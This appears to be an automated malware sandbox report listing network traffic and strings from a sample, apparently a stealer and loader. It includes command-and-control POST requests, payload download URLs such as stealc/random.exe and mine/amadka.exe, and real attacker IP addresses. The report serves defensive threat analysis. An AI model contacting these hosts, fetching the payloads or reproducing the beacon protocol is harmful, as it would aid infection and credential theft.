r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5

Source: Joe Sandbox View	IP Address: 77.91.77.81 77.91.77.81
Source: Joe Sandbox View	IP Address: 85.28.47.4 85.28.47.4

Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU
Source: Joe Sandbox View	ASN Name: GES-ASRU GES-ASRU
Source: Joe Sandbox View	ASN Name: FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU

Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.4

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Code function: 20_2_00EBBD30 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

20_2_00EBBD30

Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81

Source: unknown

HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 85.28.47.4Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 36 36 34 38 42 45 41 34 44 39 32 34 33 30 38 33 38 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="hwid"396648BEA4D9243083857------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build"jony------BAKKEGCAAECAAAKFBGIE--

Source: file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe00
Source: file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe00
Source: file.exe, 00000000.00000002.1379707734.0000000000106000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exeOpera
Source: explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe50673b5d764U
Source: explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeurlencoded
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000B61000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000BB1000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php%
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpW
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpu
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php9
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpC
Source: explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpH
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpM
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpO
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpa
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpk
Source: explorti.exe, 00000014.00000002.3666227165.0000000000BC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpmespace
Source: explorti.exe, 00000014.00000002.3666227165.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpvA
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dll
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dllh
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/freebl3.dllr
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/mozglue.dll
